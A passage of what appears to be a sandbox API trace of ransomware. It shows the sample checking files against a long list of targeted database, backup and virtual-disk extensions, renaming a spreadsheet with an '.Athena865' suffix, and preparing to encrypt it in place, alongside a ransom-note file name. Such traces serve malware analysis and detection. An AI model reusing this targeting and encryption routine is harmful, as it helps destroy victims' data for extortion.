lstrcmpiW (lpString1="RZvHk.xls", lpString2="Athena865") returned 1 [0101.460] lstrlenW (lpString=".dll") returned 4 [0101.460] lstrcmpiW (lpString1="ioqoZduRZvHk.xls", lpString2=".dll") returned 1 [0101.460] lstrlenW (lpString=".lnk") returned 4 [0101.460] lstrcmpiW (lpString1="ioqoZduRZvHk.xls", lpString2=".lnk") returned 1 [0101.460] lstrlenW (lpString=".ini") returned 4 [0101.460] lstrcmpiW (lpString1="ioqoZduRZvHk.xls", lpString2=".ini") returned 1 [0101.460] lstrlenW (lpString=".sys") returned 4 [0101.460] lstrcmpiW (lpString1="ioqoZduRZvHk.xls", lpString2=".sys") returned 1 [0101.460] lstrlenW (lpString="ioqoZduRZvHk.xls") returned 16 [0101.460] lstrlenW (lpString="bak") returned 3 [0101.460] lstrcmpiW (lpString1="xls", lpString2="bak") returned 1 [0101.461] lstrlenW (lpString="ba_") returned 3 [0101.461] lstrcmpiW (lpString1="xls", lpString2="ba_") returned 1 [0101.461] lstrlenW (lpString="dbb") returned 3 [0101.461] lstrcmpiW (lpString1="xls", lpString2="dbb") returned 1 [0101.461] lstrlenW (lpString="vmdk") returned 4 [0101.461] lstrcmpiW (lpString1=".xls", lpString2="vmdk") returned -1 [0101.461] lstrlenW (lpString="rar") returned 3 [0101.461] lstrcmpiW (lpString1="xls", lpString2="rar") returned 1 [0101.461] lstrlenW (lpString="zip") returned 3 [0101.461] lstrcmpiW (lpString1="xls", lpString2="zip") returned -1 [0101.461] lstrlenW (lpString="tgz") returned 3 [0101.461] lstrcmpiW (lpString1="xls", lpString2="tgz") returned 1 [0101.461] lstrlenW (lpString="vbox") returned 4 [0101.461] lstrcmpiW (lpString1=".xls", lpString2="vbox") returned -1 [0101.461] lstrlenW (lpString="vdi") returned 3 [0101.461] lstrcmpiW (lpString1="xls", lpString2="vdi") returned 1 [0101.461] lstrlenW (lpString="vhd") returned 3 [0101.461] lstrcmpiW (lpString1="xls", lpString2="vhd") returned 1 [0101.461] lstrlenW (lpString="vhdx") returned 4 [0101.461] lstrcmpiW (lpString1=".xls", lpString2="vhdx") returned -1 [0101.461] lstrlenW (lpString="avhd") returned 4 [0101.461] lstrcmpiW (lpString1=".xls", lpString2="avhd") returned -1 [0101.461] lstrlenW (lpString="db") returned 2 [0101.461] lstrcmpiW (lpString1="ls", lpString2="db") returned 1 [0101.461] lstrlenW (lpString="db2") returned 3 [0101.461] lstrcmpiW (lpString1="xls", lpString2="db2") returned 1 [0101.461] lstrlenW (lpString="db3") returned 3 [0101.461] lstrcmpiW (lpString1="xls", lpString2="db3") returned 1 [0101.461] lstrlenW (lpString="dbf") returned 3 [0101.461] lstrcmpiW (lpString1="xls", lpString2="dbf") returned 1 [0101.461] lstrlenW (lpString="mdf") returned 3 [0101.461] lstrcmpiW (lpString1="xls", lpString2="mdf") returned 1 [0101.461] lstrlenW (lpString="mdb") returned 3 [0101.462] lstrcmpiW (lpString1="xls", lpString2="mdb") returned 1 [0101.462] lstrlenW (lpString="sql") returned 3 [0101.462] lstrcmpiW (lpString1="xls", lpString2="sql") returned 1 [0101.462] lstrlenW (lpString="sqlite") returned 6 [0101.462] lstrcmpiW (lpString1="Hk.xls", lpString2="sqlite") returned -1 [0101.462] lstrlenW (lpString="sqlite3") returned 7 [0101.462] lstrcmpiW (lpString1="vHk.xls", lpString2="sqlite3") returned 1 [0101.462] lstrlenW (lpString="sqlitedb") returned 8 [0101.462] lstrcmpiW (lpString1="ZvHk.xls", lpString2="sqlitedb") returned 1 [0101.462] lstrlenW (lpString="xml") returned 3 [0101.462] lstrcmpiW (lpString1="xls", lpString2="xml") returned -1 [0101.462] lstrlenW (lpString="$er") returned 3 [0101.462] lstrcmpiW (lpString1="xls", lpString2="$er") returned 1 [0101.462] lstrlenW (lpString="4dd") returned 3 [0101.462] lstrcmpiW (lpString1="xls", lpString2="4dd") returned 1 [0101.462] lstrlenW (lpString="4dl") returned 3 [0101.462] lstrcmpiW (lpString1="xls", lpString2="4dl") returned 1 [0101.462] lstrlenW (lpString="^^^") returned 3 [0101.462] lstrcmpiW (lpString1="xls", lpString2="^^^") returned 1 [0101.462] lstrlenW (lpString="abs") returned 3 [0101.462] lstrcmpiW (lpString1="xls", lpString2="abs") returned 1 [0101.462] lstrlenW (lpString="abx") returned 3 [0101.462] lstrcmpiW (lpString1="xls", lpString2="abx") returned 1 [0101.462] lstrlenW (lpString="accdb") returned 5 [0101.462] lstrcmpiW (lpString1="k.xls", lpString2="accdb") returned 1 [0101.462] lstrlenW (lpString="accdc") returned 5 [0101.462] lstrcmpiW (lpString1="k.xls", lpString2="accdc") returned 1 [0101.462] lstrlenW (lpString="accde") returned 5 [0101.462] lstrcmpiW (lpString1="k.xls", lpString2="accde") returned 1 [0101.462] lstrlenW (lpString="accdr") returned 5 [0101.462] lstrcmpiW (lpString1="k.xls", lpString2="accdr") returned 1 [0101.462] lstrlenW (lpString="accdt") returned 5 [0101.463] lstrcmpiW (lpString1="k.xls", lpString2="accdt") returned 1 [0101.463] lstrlenW (lpString="accdw") returned 5 [0101.463] lstrcmpiW (lpString1="k.xls", lpString2="accdw") returned 1 [0101.463] lstrlenW (lpString="accft") returned 5 [0101.463] lstrcmpiW (lpString1="k.xls", lpString2="accft") returned 1 [0101.463] lstrlenW (lpString="adb") returned 3 [0101.463] lstrcmpiW (lpString1="xls", lpString2="adb") returned 1 [0101.463] lstrlenW (lpString="adb") returned 3 [0101.463] lstrcmpiW (lpString1="xls", lpString2="adb") returned 1 [0101.463] lstrlenW (lpString="ade") returned 3 [0101.463] lstrcmpiW (lpString1="xls", lpString2="ade") returned 1 [0101.463] lstrlenW (lpString="adf") returned 3 [0101.463] lstrcmpiW (lpString1="xls", lpString2="adf") returned 1 [0101.463] lstrlenW (lpString="adn") returned 3 [0101.463] lstrcmpiW (lpString1="xls", lpString2="adn") returned 1 [0101.463] lstrlenW (lpString="adp") returned 3 [0101.463] lstrcmpiW (lpString1="xls", lpString2="adp") returned 1 [0101.463] lstrlenW (lpString="alf") returned 3 [0101.463] lstrcmpiW (lpString1="xls", lpString2="alf") returned 1 [0101.463] lstrlenW (lpString="ask") returned 3 [0101.463] lstrcmpiW (lpString1="xls", lpString2="ask") returned 1 [0101.463] lstrlenW (lpString="btr") returned 3 [0101.463] lstrcmpiW (lpString1="xls", lpString2="btr") returned 1 [0101.463] lstrlenW (lpString="cat") returned 3 [0101.463] lstrcmpiW (lpString1="xls", lpString2="cat") returned 1 [0101.463] lstrlenW (lpString="cdb") returned 3 [0101.463] lstrcmpiW (lpString1="xls", lpString2="cdb") returned 1 [0101.463] lstrlenW (lpString="ckp") returned 3 [0101.463] lstrcmpiW (lpString1="xls", lpString2="ckp") returned 1 [0101.463] lstrlenW (lpString="cma") returned 3 [0101.463] lstrcmpiW (lpString1="xls", lpString2="cma") returned 1 [0101.463] lstrlenW (lpString="cpd") returned 3 [0101.464] lstrcmpiW (lpString1="xls", lpString2="cpd") returned 1 [0101.464] lstrlenW (lpString="dacpac") returned 6 [0101.464] lstrcmpiW (lpString1="Hk.xls", lpString2="dacpac") returned 1 [0101.464] lstrlenW (lpString="dad") returned 3 [0101.464] lstrcmpiW (lpString1="xls", lpString2="dad") returned 1 [0101.464] lstrlenW (lpString="dadiagrams") returned 10 [0101.464] lstrcmpiW (lpString1="uRZvHk.xls", lpString2="dadiagrams") returned 1 [0101.464] lstrlenW (lpString="daschema") returned 8 [0101.464] lstrcmpiW (lpString1="ZvHk.xls", lpString2="daschema") returned 1 [0101.464] lstrlenW (lpString="db-journal") returned 10 [0101.464] lstrcmpiW (lpString1="uRZvHk.xls", lpString2="db-journal") returned 1 [0101.464] lstrlenW (lpString="db-shm") returned 6 [0101.464] lstrcmpiW (lpString1="Hk.xls", lpString2="db-shm") returned 1 [0101.464] lstrlenW (lpString="db-wal") returned 6 [0101.464] lstrcmpiW (lpString1="Hk.xls", lpString2="db-wal") returned 1 [0101.464] lstrlenW (lpString="dbc") returned 3 [0101.464] lstrcmpiW (lpString1="xls", lpString2="dbc") returned 1 [0101.464] lstrlenW (lpString="dbs") returned 3 [0101.464] lstrcmpiW (lpString1="xls", lpString2="dbs") returned 1 [0101.464] lstrlenW (lpString="dbt") returned 3 [0101.464] lstrcmpiW (lpString1="xls", lpString2="dbt") returned 1 [0101.464] lstrlenW (lpString="dbv") returned 3 [0101.464] lstrcmpiW (lpString1="xls", lpString2="dbv") returned 1 [0101.464] lstrlenW (lpString="dbx") returned 3 [0101.465] lstrcmpiW (lpString1="xls", lpString2="dbx") returned 1 [0101.465] lstrlenW (lpString="dcb") returned 3 [0101.465] lstrcmpiW (lpString1="xls", lpString2="dcb") returned 1 [0101.465] lstrlenW (lpString="dct") returned 3 [0101.465] lstrcmpiW (lpString1="xls", lpString2="dct") returned 1 [0101.465] lstrlenW (lpString="dcx") returned 3 [0101.465] lstrcmpiW (lpString1="xls", lpString2="dcx") returned 1 [0101.465] lstrlenW (lpString="ddl") returned 3 [0101.465] lstrcmpiW (lpString1="xls", lpString2="ddl") returned 1 [0101.465] lstrlenW (lpString="dlis") returned 4 [0101.465] lstrcmpiW (lpString1=".xls", lpString2="dlis") returned -1 [0101.465] lstrlenW (lpString="dp1") returned 3 [0101.465] lstrcmpiW (lpString1="xls", lpString2="dp1") returned 1 [0101.465] lstrlenW (lpString="dqy") returned 3 [0101.465] lstrcmpiW (lpString1="xls", lpString2="dqy") returned 1 [0101.465] lstrlenW (lpString="dsk") returned 3 [0101.465] lstrcmpiW (lpString1="xls", lpString2="dsk") returned 1 [0101.465] lstrlenW (lpString="dsn") returned 3 [0101.465] lstrcmpiW (lpString1="xls", lpString2="dsn") returned 1 [0101.465] lstrlenW (lpString="dtsx") returned 4 [0101.465] lstrcmpiW (lpString1=".xls", lpString2="dtsx") returned -1 [0101.465] lstrlenW (lpString="dxl") returned 3 [0101.465] lstrcmpiW (lpString1="xls", lpString2="dxl") returned 1 [0101.465] lstrlenW (lpString="eco") returned 3 [0101.465] lstrcmpiW (lpString1="xls", lpString2="eco") returned 1 [0101.465] lstrlenW (lpString="ecx") returned 3 [0101.465] lstrcmpiW (lpString1="xls", lpString2="ecx") returned 1 [0101.465] lstrlenW (lpString="edb") returned 3 [0101.465] lstrcmpiW (lpString1="xls", lpString2="edb") returned 1 [0101.465] lstrlenW (lpString="epim") returned 4 [0101.465] lstrcmpiW (lpString1=".xls", lpString2="epim") returned -1 [0101.465] lstrlenW (lpString="fcd") returned 3 [0101.466] lstrcmpiW (lpString1="xls", lpString2="fcd") returned 1 [0101.466] lstrlenW (lpString="fdb") returned 3 [0101.466] lstrcmpiW (lpString1="xls", lpString2="fdb") returned 1 [0101.466] lstrlenW (lpString="fic") returned 3 [0101.466] lstrcmpiW (lpString1="xls", lpString2="fic") returned 1 [0101.466] lstrlenW (lpString="flexolibrary") returned 12 [0101.466] lstrcmpiW (lpString1="ZduRZvHk.xls", lpString2="flexolibrary") returned 1 [0101.466] lstrlenW (lpString="fm5") returned 3 [0101.466] lstrcmpiW (lpString1="xls", lpString2="fm5") returned 1 [0101.466] lstrlenW (lpString="fmp") returned 3 [0101.466] lstrcmpiW (lpString1="xls", lpString2="fmp") returned 1 [0101.466] lstrlenW (lpString="fmp12") returned 5 [0101.466] lstrcmpiW (lpString1="k.xls", lpString2="fmp12") returned 1 [0101.466] lstrlenW (lpString="fmpsl") returned 5 [0101.466] lstrcmpiW (lpString1="k.xls", lpString2="fmpsl") returned 1 [0101.466] lstrlenW (lpString="fol") returned 3 [0101.466] lstrcmpiW (lpString1="xls", lpString2="fol") returned 1 [0101.466] lstrlenW (lpString="fp3") returned 3 [0101.466] lstrcmpiW (lpString1="xls", lpString2="fp3") returned 1 [0101.466] lstrlenW (lpString="fp4") returned 3 [0101.466] lstrcmpiW (lpString1="xls", lpString2="fp4") returned 1 [0101.466] lstrlenW (lpString="fp5") returned 3 [0101.466] lstrcmpiW (lpString1="xls", lpString2="fp5") returned 1 [0101.466] lstrlenW (lpString="fp7") returned 3 [0101.466] lstrcmpiW (lpString1="xls", lpString2="fp7") returned 1 [0101.466] lstrlenW (lpString="fpt") returned 3 [0101.466] lstrcmpiW (lpString1="xls", lpString2="fpt") returned 1 [0101.466] lstrlenW (lpString="frm") returned 3 [0101.466] lstrcmpiW (lpString1="xls", lpString2="frm") returned 1 [0101.466] lstrlenW (lpString="gdb") returned 3 [0101.466] lstrcmpiW (lpString1="xls", lpString2="gdb") returned 1 [0101.466] lstrlenW (lpString="gdb") returned 3 [0101.467] lstrcmpiW (lpString1="xls", lpString2="gdb") returned 1 [0101.467] lstrlenW (lpString="grdb") returned 4 [0101.467] lstrcmpiW (lpString1=".xls", lpString2="grdb") returned -1 [0101.467] lstrlenW (lpString="gwi") returned 3 [0101.467] lstrcmpiW (lpString1="xls", lpString2="gwi") returned 1 [0101.467] lstrlenW (lpString="hdb") returned 3 [0101.467] lstrcmpiW (lpString1="xls", lpString2="hdb") returned 1 [0101.467] lstrlenW (lpString="his") returned 3 [0101.467] lstrcmpiW (lpString1="xls", lpString2="his") returned 1 [0101.467] lstrlenW (lpString="ib") returned 2 [0101.467] lstrcmpiW (lpString1="ls", lpString2="ib") returned 1 [0101.467] lstrlenW (lpString="idb") returned 3 [0101.467] lstrcmpiW (lpString1="xls", lpString2="idb") returned 1 [0101.467] lstrlenW (lpString="ihx") returned 3 [0101.467] lstrcmpiW (lpString1="xls", lpString2="ihx") returned 1 [0101.467] lstrlenW (lpString="itdb") returned 4 [0101.467] lstrcmpiW (lpString1=".xls", lpString2="itdb") returned -1 [0101.467] lstrlenW (lpString="itw") returned 3 [0101.467] lstrcmpiW (lpString1="xls", lpString2="itw") returned 1 [0101.467] lstrlenW (lpString="jet") returned 3 [0101.467] lstrcmpiW (lpString1="xls", lpString2="jet") returned 1 [0101.467] lstrlenW (lpString="jtx") returned 3 [0101.467] lstrcmpiW (lpString1="xls", lpString2="jtx") returned 1 [0101.467] lstrlenW (lpString="kdb") returned 3 [0101.467] lstrcmpiW (lpString1="xls", lpString2="kdb") returned 1 [0101.467] lstrlenW (lpString="kexi") returned 4 [0101.467] lstrcmpiW (lpString1=".xls", lpString2="kexi") returned -1 [0101.467] lstrlenW (lpString="kexic") returned 5 [0101.467] lstrcmpiW (lpString1="k.xls", lpString2="kexic") returned -1 [0101.467] lstrlenW (lpString="kexis") returned 5 [0101.467] lstrcmpiW (lpString1="k.xls", lpString2="kexis") returned -1 [0101.467] lstrlenW (lpString="lgc") returned 3 [0101.467] lstrcmpiW (lpString1="xls", lpString2="lgc") returned 1 [0101.468] lstrlenW (lpString="lwx") returned 3 [0101.468] lstrcmpiW (lpString1="xls", lpString2="lwx") returned 1 [0101.468] lstrlenW (lpString="maf") returned 3 [0101.468] lstrcmpiW (lpString1="xls", lpString2="maf") returned 1 [0101.468] lstrlenW (lpString="maq") returned 3 [0101.468] lstrcmpiW (lpString1="xls", lpString2="maq") returned 1 [0101.468] lstrlenW (lpString="mar") returned 3 [0101.468] lstrcmpiW (lpString1="xls", lpString2="mar") returned 1 [0101.468] lstrlenW (lpString="marshal") returned 7 [0101.468] lstrcmpiW (lpString1="vHk.xls", lpString2="marshal") returned 1 [0101.468] lstrlenW (lpString="mas") returned 3 [0101.468] lstrcmpiW (lpString1="xls", lpString2="mas") returned 1 [0101.468] lstrlenW (lpString="mav") returned 3 [0101.468] lstrcmpiW (lpString1="xls", lpString2="mav") returned 1 [0101.468] lstrlenW (lpString="maw") returned 3 [0101.468] lstrcmpiW (lpString1="xls", lpString2="maw") returned 1 [0101.468] lstrlenW (lpString="mdbhtml") returned 7 [0101.468] lstrcmpiW (lpString1="vHk.xls", lpString2="mdbhtml") returned 1 [0101.468] lstrlenW (lpString="mdn") returned 3 [0101.468] lstrcmpiW (lpString1="xls", lpString2="mdn") returned 1 [0101.468] lstrlenW (lpString="mdt") returned 3 [0101.468] lstrcmpiW (lpString1="xls", lpString2="mdt") returned 1 [0101.468] lstrlenW (lpString="mfd") returned 3 [0101.468] lstrcmpiW (lpString1="xls", lpString2="mfd") returned 1 [0101.468] lstrlenW (lpString="mpd") returned 3 [0101.468] lstrcmpiW (lpString1="xls", lpString2="mpd") returned 1 [0101.468] lstrlenW (lpString="mrg") returned 3 [0101.468] lstrcmpiW (lpString1="xls", lpString2="mrg") returned 1 [0101.468] lstrlenW (lpString="mud") returned 3 [0101.468] lstrcmpiW (lpString1="xls", lpString2="mud") returned 1 [0101.468] lstrlenW (lpString="mwb") returned 3 [0101.468] lstrcmpiW (lpString1="xls", lpString2="mwb") returned 1 [0101.469] lstrlenW (lpString="myd") returned 3 [0101.469] lstrcmpiW (lpString1="xls", lpString2="myd") returned 1 [0101.469] lstrlenW (lpString="ndf") returned 3 [0101.469] lstrcmpiW (lpString1="xls", lpString2="ndf") returned 1 [0101.469] lstrlenW (lpString="nnt") returned 3 [0101.469] lstrcmpiW (lpString1="xls", lpString2="nnt") returned 1 [0101.469] lstrlenW (lpString="nrmlib") returned 6 [0101.469] lstrcmpiW (lpString1="Hk.xls", lpString2="nrmlib") returned -1 [0101.469] lstrlenW (lpString="ns2") returned 3 [0101.469] lstrcmpiW (lpString1="xls", lpString2="ns2") returned 1 [0101.469] lstrlenW (lpString="ns3") returned 3 [0101.469] lstrcmpiW (lpString1="xls", lpString2="ns3") returned 1 [0101.469] lstrlenW (lpString="ns4") returned 3 [0101.469] lstrcmpiW (lpString1="xls", lpString2="ns4") returned 1 [0101.469] lstrlenW (lpString="nsf") returned 3 [0101.469] lstrcmpiW (lpString1="xls", lpString2="nsf") returned 1 [0101.469] lstrlenW (lpString="nv") returned 2 [0101.469] lstrcmpiW (lpString1="ls", lpString2="nv") returned -1 [0101.469] lstrlenW (lpString="nv2") returned 3 [0101.469] lstrcmpiW (lpString1="xls", lpString2="nv2") returned 1 [0101.469] lstrlenW (lpString="nwdb") returned 4 [0101.469] lstrcmpiW (lpString1=".xls", lpString2="nwdb") returned -1 [0101.469] lstrlenW (lpString="nyf") returned 3 [0101.469] lstrcmpiW (lpString1="xls", lpString2="nyf") returned 1 [0101.469] lstrlenW (lpString="odb") returned 3 [0101.469] lstrcmpiW (lpString1="xls", lpString2="odb") returned 1 [0101.469] lstrlenW (lpString="odb") returned 3 [0101.469] lstrcmpiW (lpString1="xls", lpString2="odb") returned 1 [0101.469] lstrlenW (lpString="oqy") returned 3 [0101.469] lstrcmpiW (lpString1="xls", lpString2="oqy") returned 1 [0101.469] lstrlenW (lpString="ora") returned 3 [0101.469] lstrcmpiW (lpString1="xls", lpString2="ora") returned 1 [0101.470] lstrlenW (lpString="orx") returned 3 [0101.470] lstrcmpiW (lpString1="xls", lpString2="orx") returned 1 [0101.470] lstrlenW (lpString="owc") returned 3 [0101.470] lstrcmpiW (lpString1="xls", lpString2="owc") returned 1 [0101.470] lstrlenW (lpString="p96") returned 3 [0101.470] lstrcmpiW (lpString1="xls", lpString2="p96") returned 1 [0101.470] lstrlenW (lpString="p97") returned 3 [0101.470] lstrcmpiW (lpString1="xls", lpString2="p97") returned 1 [0101.470] lstrlenW (lpString="pan") returned 3 [0101.470] lstrcmpiW (lpString1="xls", lpString2="pan") returned 1 [0101.470] lstrlenW (lpString="pdb") returned 3 [0101.470] lstrcmpiW (lpString1="xls", lpString2="pdb") returned 1 [0101.470] lstrlenW (lpString="pdm") returned 3 [0101.470] lstrcmpiW (lpString1="xls", lpString2="pdm") returned 1 [0101.470] lstrlenW (lpString="pnz") returned 3 [0101.470] lstrcmpiW (lpString1="xls", lpString2="pnz") returned 1 [0101.470] lstrlenW (lpString="qry") returned 3 [0101.470] lstrcmpiW (lpString1="xls", lpString2="qry") returned 1 [0101.470] lstrlenW (lpString="qvd") returned 3 [0101.470] lstrcmpiW (lpString1="xls", lpString2="qvd") returned 1 [0101.470] lstrlenW (lpString="rbf") returned 3 [0101.470] lstrcmpiW (lpString1="xls", lpString2="rbf") returned 1 [0101.470] lstrlenW (lpString="rctd") returned 4 [0101.470] lstrcmpiW (lpString1=".xls", lpString2="rctd") returned -1 [0101.470] lstrlenW (lpString="rod") returned 3 [0101.470] lstrcmpiW (lpString1="xls", lpString2="rod") returned 1 [0101.470] lstrlenW (lpString="rodx") returned 4 [0101.470] lstrcmpiW (lpString1=".xls", lpString2="rodx") returned -1 [0101.470] lstrlenW (lpString="rpd") returned 3 [0101.470] lstrcmpiW (lpString1="xls", lpString2="rpd") returned 1 [0101.470] lstrlenW (lpString="rsd") returned 3 [0101.470] lstrcmpiW (lpString1="xls", lpString2="rsd") returned 1 [0101.471] lstrlenW (lpString="sas7bdat") returned 8 [0101.471] lstrcmpiW (lpString1="ZvHk.xls", lpString2="sas7bdat") returned 1 [0101.471] lstrlenW (lpString="sbf") returned 3 [0101.471] lstrcmpiW (lpString1="xls", lpString2="sbf") returned 1 [0101.471] lstrlenW (lpString="scx") returned 3 [0101.471] lstrcmpiW (lpString1="xls", lpString2="scx") returned 1 [0101.471] lstrlenW (lpString="sdb") returned 3 [0101.471] lstrcmpiW (lpString1="xls", lpString2="sdb") returned 1 [0101.471] lstrlenW (lpString="sdc") returned 3 [0101.471] lstrcmpiW (lpString1="xls", lpString2="sdc") returned 1 [0101.471] lstrlenW (lpString="sdf") returned 3 [0101.471] lstrcmpiW (lpString1="xls", lpString2="sdf") returned 1 [0101.471] lstrlenW (lpString="sis") returned 3 [0101.471] lstrcmpiW (lpString1="xls", lpString2="sis") returned 1 [0101.471] lstrlenW (lpString="spq") returned 3 [0101.471] lstrcmpiW (lpString1="xls", lpString2="spq") returned 1 [0101.471] lstrlenW (lpString="te") returned 2 [0101.471] lstrcmpiW (lpString1="ls", lpString2="te") returned -1 [0101.471] lstrlenW (lpString="teacher") returned 7 [0101.471] lstrcmpiW (lpString1="vHk.xls", lpString2="teacher") returned 1 [0101.471] lstrlenW (lpString="tmd") returned 3 [0101.471] lstrcmpiW (lpString1="xls", lpString2="tmd") returned 1 [0101.471] lstrlenW (lpString="tps") returned 3 [0101.471] lstrcmpiW (lpString1="xls", lpString2="tps") returned 1 [0101.471] lstrlenW (lpString="trc") returned 3 [0101.471] lstrcmpiW (lpString1="xls", lpString2="trc") returned 1 [0101.471] lstrlenW (lpString="trc") returned 3 [0101.471] lstrcmpiW (lpString1="xls", lpString2="trc") returned 1 [0101.471] lstrlenW (lpString="trm") returned 3 [0101.471] lstrcmpiW (lpString1="xls", lpString2="trm") returned 1 [0101.471] lstrlenW (lpString="udb") returned 3 [0101.471] lstrcmpiW (lpString1="xls", lpString2="udb") returned 1 [0101.472] lstrlenW (lpString="udl") returned 3 [0101.472] lstrcmpiW (lpString1="xls", lpString2="udl") returned 1 [0101.472] lstrlenW (lpString="usr") returned 3 [0101.472] lstrcmpiW (lpString1="xls", lpString2="usr") returned 1 [0101.472] lstrlenW (lpString="v12") returned 3 [0101.472] lstrcmpiW (lpString1="xls", lpString2="v12") returned 1 [0101.472] lstrlenW (lpString="vis") returned 3 [0101.472] lstrcmpiW (lpString1="xls", lpString2="vis") returned 1 [0101.472] lstrlenW (lpString="vpd") returned 3 [0101.472] lstrcmpiW (lpString1="xls", lpString2="vpd") returned 1 [0101.472] lstrlenW (lpString="vvv") returned 3 [0101.472] lstrcmpiW (lpString1="xls", lpString2="vvv") returned 1 [0101.472] lstrlenW (lpString="wdb") returned 3 [0101.472] lstrcmpiW (lpString1="xls", lpString2="wdb") returned 1 [0101.472] lstrlenW (lpString="wmdb") returned 4 [0101.472] lstrcmpiW (lpString1=".xls", lpString2="wmdb") returned -1 [0101.472] lstrlenW (lpString="wrk") returned 3 [0101.472] lstrcmpiW (lpString1="xls", lpString2="wrk") returned 1 [0101.472] lstrlenW (lpString="xdb") returned 3 [0101.472] lstrcmpiW (lpString1="xls", lpString2="xdb") returned 1 [0101.472] lstrlenW (lpString="xld") returned 3 [0101.472] lstrcmpiW (lpString1="xls", lpString2="xld") returned 1 [0101.472] lstrlenW (lpString="xmlff") returned 5 [0101.472] lstrcmpiW (lpString1="k.xls", lpString2="xmlff") returned -1 [0101.472] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\al9qeSvEUMbs\\ioqoZduRZvHk.xls.Athena865") returned 96 [0101.472] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\al9qeSvEUMbs\\ioqoZduRZvHk.xls" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\al9qesveumbs\\ioqozdurzvhk.xls"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\al9qeSvEUMbs\\ioqoZduRZvHk.xls.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\al9qesveumbs\\ioqozdurzvhk.xls.athena865"), dwFlags=0x1) returned 1 [0101.477] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\al9qeSvEUMbs\\ioqoZduRZvHk.xls.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\al9qesveumbs\\ioqozdurzvhk.xls.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0101.477] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=32241) returned 1 [0101.477] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.478] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.478] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5193c0 [0101.478] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0101.478] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.479] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.479] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8100, lpName=0x0) returned 0x154 [0101.479] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8100) returned 0x100000 [0101.481] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0101.482] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.482] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0101.482] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0101.482] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0101.482] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528188 [0101.482] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0101.482] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.482] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0101.483] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x546058 [0101.483] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0101.483] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546058 | out: hHeap=0x4f0000) returned 1 [0101.483] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0101.483] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0101.483] CloseHandle (hObject=0x154) returned 1 [0101.483] CloseHandle (hObject=0x17c) returned 1 [0101.491] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0101.491] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5193c0 | out: hHeap=0x4f0000) returned 1 [0101.491] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0101.491] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc05e79d0, ftCreationTime.dwHighDateTime=0x1d4d392, ftLastAccessTime.dwLowDateTime=0x658efa10, ftLastAccessTime.dwHighDateTime=0x1d4cb78, ftLastWriteTime.dwLowDateTime=0x658efa10, ftLastWriteTime.dwHighDateTime=0x1d4cb78, nFileSizeHigh=0x0, nFileSizeLow=0x3882, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nldLqO_alW5J.docx", cAlternateFileName="NLDLQO~1.DOC")) returned 1 [0101.491] lstrcmpiW (lpString1="nldLqO_alW5J.docx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.491] lstrcmpiW 